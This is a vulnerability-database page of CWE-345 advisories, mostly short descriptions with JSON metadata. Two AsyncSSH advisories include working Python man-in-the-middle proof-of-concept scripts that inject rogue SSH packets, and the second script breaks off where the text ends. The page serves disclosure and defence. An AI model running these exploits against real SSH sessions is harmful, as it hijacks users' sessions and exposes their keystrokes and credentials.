CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
944 vulnerabilities reference this CWE, most recent first.
GHSA-C35Q-FFPF-5QPM
Vulnerability from github – Published: 2023-11-09 18:35 – Updated: 2025-11-04 16:47Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify from time import sleep ################################################################################## ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ## ## ## ## Variant: Unmodified variant (EXT_INFO by client required) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ################################################################################## # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 CLIENT_EXT_INFO_LENGTH = 60 # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO) ADDITIONAL_CLIENT_DATA_LENGTH = 60 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000') def insert_rogue_authentication_request(data): newkeys_index = data.index(newkeys_payload) # Insert rogue authentication request and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): delay_next = False try: while True: client_data = client_socket.recv(4096) if delay_next: delay_next = False sleep(0.25) if contains_newkeys(client_data): print("[+] SSH_MSG_NEWKEYS sent by client identified!") if len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH: print("[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!") while len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH: client_data += client_socket.recv(4096) print(f"[d] Original client_data before modification: {client_data.hex()}") client_data = insert_rogue_authentication_request(client_data) print(f"[d] Modified client_data with rogue authentication request: {client_data.hex()}") delay_next = True if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46446"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354",
"CWE-359",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:35:14Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.\n\n### Details\n\nThe rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker\u0027s account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user\u0027s session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker\u0027s position to a MitM at the application layer and enabling perfect shell emulation.\n\nThe attacks work by the attacker injecting a chosen authentication request before the client\u0027s NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n from time import sleep\n \n ##################################################################################\n ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ##\n ## ##\n ## Variant: Unmodified variant (EXT_INFO by client required) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n ##################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n CLIENT_EXT_INFO_LENGTH = 60\n # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)\n ADDITIONAL_CLIENT_DATA_LENGTH = 60\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n rogue_userauth_request = unhexlify(\u0027000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000\u0027)\n def insert_rogue_authentication_request(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue authentication request and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n delay_next = False\n try:\n while True:\n client_data = client_socket.recv(4096)\n if delay_next:\n delay_next = False\n sleep(0.25)\n if contains_newkeys(client_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by client identified!\")\n if len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n print(\"[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!\")\n while len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n client_data += client_socket.recv(4096)\n print(f\"[d] Original client_data before modification: {client_data.hex()}\")\n client_data = insert_rogue_authentication_request(client_data)\n print(f\"[d] Modified client_data with rogue authentication request: {client_data.hex()}\")\n delay_next = True\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nThe impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection\u0027s security.",
"id": "GHSA-c35q-ffpf-5qpm",
"modified": "2025-11-04T16:47:15Z",
"published": "2023-11-09T18:35:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-c35q-ffpf-5qpm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46446"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c35q-ffpf-5qpm"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-239.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Session Attack"
}
GHSA-C467-VF3V-2G2Q
Vulnerability from github – Published: 2024-02-21 21:30 – Updated: 2024-09-27 18:32Malformed Device Reset Locally Command Class packets can be sent to the controller, causing the controller to assume the end device has left the network. After this, frames sent by the end device will not be acknowledged by the controller. This vulnerability exists in PC Controller v5.54.0, and earlier.
{
"affected": [],
"aliases": [
"CVE-2023-6533"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-21T20:15:46Z",
"severity": "MODERATE"
},
"details": "Malformed Device Reset Locally Command Class packets can be sent to the controller, causing the controller to assume the end device has left the network. After this, frames sent by the end device will not be acknowledged by the controller. This vulnerability exists in PC Controller v5.54.0, and earlier.\u00a0",
"id": "GHSA-c467-vf3v-2g2q",
"modified": "2024-09-27T18:32:20Z",
"published": "2024-02-21T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6533"
},
{
"type": "WEB",
"url": "https://community.silabs.com/068Vm000001HdNm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C4G3-63F2-RG7G
Vulnerability from github – Published: 2024-12-12 12:31 – Updated: 2024-12-12 12:31Read/Write vulnerability in the image decoding module Impact: Successful exploitation of this vulnerability will affect availability.
{
"affected": [],
"aliases": [
"CVE-2024-54111"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T12:15:26Z",
"severity": "MODERATE"
},
"details": "Read/Write vulnerability in the image decoding module\nImpact: Successful exploitation of this vulnerability will affect availability.",
"id": "GHSA-c4g3-63f2-rg7g",
"modified": "2024-12-12T12:31:16Z",
"published": "2024-12-12T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54111"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C4GR-Q97G-PPWC
Vulnerability from github – Published: 2024-04-01 20:33 – Updated: 2024-09-12 13:52Impact
Versions from 1.2.0 to 1.3.1 of Astro-Shield allow to bypass the allow-lists for cross-origin resources by introducing valid integrity attributes to the injected code. This implies that the injected SRI hash would be added to the generated CSP header, which would lead the browser to believe that the injected resource is legit.
To exploit this vulnerability, the attacker needs to first inject code into the rendered pages by exploiting other not-related potential vulnerabilities.
Patches
Version 1.3.2 provides a patch.
Workarounds
- To not use the middleware functionality of Astro-Shield.
- To use the middleware functionality of Astro-Shield ONLY for content that cannot be controlled in any way by external users.
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@kindspells/astro-shield"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-30250"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-01T20:33:53Z",
"nvd_published_at": "2024-04-04T15:15:39Z",
"severity": "HIGH"
},
"details": "### Impact\n\nVersions from 1.2.0 to 1.3.1 of Astro-Shield allow to bypass the allow-lists for cross-origin resources by introducing valid `integrity` attributes to the injected code. This implies that the injected SRI hash would be added to the generated CSP header, which would lead the browser to believe that the injected resource is legit.\n\nTo exploit this vulnerability, the attacker needs to first inject code into the rendered pages by exploiting other not-related potential vulnerabilities.\n\n### Patches\n\nVersion [1.3.2](https://github.com/kindspells/astro-shield/releases/tag/1.3.2) provides a patch.\n\n### Workarounds\n- To not use the middleware functionality of Astro-Shield.\n- To use the middleware functionality of Astro-Shield ONLY for content that cannot be controlled in any way by external users.\n\n### References\n_Are there any links users can visit to find out more?_\n",
"id": "GHSA-c4gr-q97g-ppwc",
"modified": "2024-09-12T13:52:45Z",
"published": "2024-04-01T20:33:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/security/advisories/GHSA-c4gr-q97g-ppwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30250"
},
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/commit/1221019306f501bf5fa9bcfb5a23a2321d34ba0a"
},
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/commit/5ae8b8ef4f681d3a81431ee7e79d5dec545c6e1f"
},
{
"type": "PACKAGE",
"url": "https://github.com/kindspells/astro-shield"
},
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/releases/tag/1.3.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "In Astro-Shield, setting a correct `integrity` attribute to injected code allows to bypass the allow-lists"
}
GHSA-C5XR-PXXH-8H7H
Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10The non-Domino web agents in CA Single Sign-On (aka SSO, formerly SiteMinder) R6, R12.0 before SP3 CR13, R12.0J before SP3 CR1.2, and R12.5 before CR5 allow remote attackers to cause a denial of service (daemon crash) or obtain sensitive information via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2015-6854"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-03-24T01:59:00Z",
"severity": "CRITICAL"
},
"details": "The non-Domino web agents in CA Single Sign-On (aka SSO, formerly SiteMinder) R6, R12.0 before SP3 CR13, R12.0J before SP3 CR1.2, and R12.5 before CR5 allow remote attackers to cause a denial of service (daemon crash) or obtain sensitive information via a crafted request.",
"id": "GHSA-c5xr-pxxh-8h7h",
"modified": "2022-05-13T01:10:55Z",
"published": "2022-05-13T01:10:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6854"
},
{
"type": "WEB",
"url": "http://www.ca.com/us/support/ca-support-online/product-content/recommended-reading/security-notices/ca20160323-01-security-notice-for-ca-single-sign-on-web-agents.aspx"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1035389"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C86M-WFX2-QMX9
Vulnerability from github – Published: 2023-08-03 12:31 – Updated: 2024-04-04 06:30In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.
{
"affected": [],
"aliases": [
"CVE-2023-3663"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T11:15:10Z",
"severity": "HIGH"
},
"details": "In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.",
"id": "GHSA-c86m-wfx2-qmx9",
"modified": "2024-04-04T06:30:56Z",
"published": "2023-08-03T12:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3663"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C8R8-GWG2-5WFH
Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-05-04 00:00Some Xiaomi phones have information leakage vulnerabilities, and some of them may be able to forge a specific identity due to the lack of parameter verification, resulting in user information leakage.
{
"affected": [],
"aliases": [
"CVE-2020-14122"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-21T18:15:00Z",
"severity": "MODERATE"
},
"details": "Some Xiaomi phones have information leakage vulnerabilities, and some of them may be able to forge a specific identity due to the lack of parameter verification, resulting in user information leakage.",
"id": "GHSA-c8r8-gwg2-5wfh",
"modified": "2022-05-04T00:00:38Z",
"published": "2022-04-22T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14122"
},
{
"type": "WEB",
"url": "https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C9W5-XR92-CPM7
Vulnerability from github – Published: 2024-08-08 18:31 – Updated: 2024-08-08 21:32Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR15, 4.0.0 SR05, 4.1.0 SR03, and 4.2.0 SR02 fails to validate the directory contents of certain directories (e.g., ensuring the expected hash sum) during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system's hard disk.
{
"affected": [],
"aliases": [
"CVE-2023-28865"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-353"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-08T18:15:09Z",
"severity": "MODERATE"
},
"details": "Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR15, 4.0.0 SR05, 4.1.0 SR03, and 4.2.0 SR02 fails to validate the directory contents of certain directories (e.g., ensuring the expected hash sum) during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system\u0027s hard disk.",
"id": "GHSA-c9w5-xr92-cpm7",
"modified": "2024-08-08T21:32:01Z",
"published": "2024-08-08T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28865"
},
{
"type": "WEB",
"url": "https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption-white%20paper.pdf"
},
{
"type": "WEB",
"url": "https://www.dieboldnixdorf.com/en-us/banking/portfolio/software/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CF83-H775-F5F6
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2023-01-27 18:30Mozilla Developer Iain Ireland discovered a missing type check during unboxed objects removal, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code. This vulnerability affects Thunderbird < 68.9.0, Firefox < 77, and Firefox ESR < 68.9.
{
"affected": [],
"aliases": [
"CVE-2020-12406"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-09T15:15:00Z",
"severity": "HIGH"
},
"details": "Mozilla Developer Iain Ireland discovered a missing type check during unboxed objects removal, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code. This vulnerability affects Thunderbird \u003c 68.9.0, Firefox \u003c 77, and Firefox ESR \u003c 68.9.",
"id": "GHSA-cf83-h775-f5f6",
"modified": "2023-01-27T18:30:32Z",
"published": "2022-05-24T17:22:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12406"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1639590"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4421-1"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2020-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2020-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2020-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CFC2-WR2V-GXM5
Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") 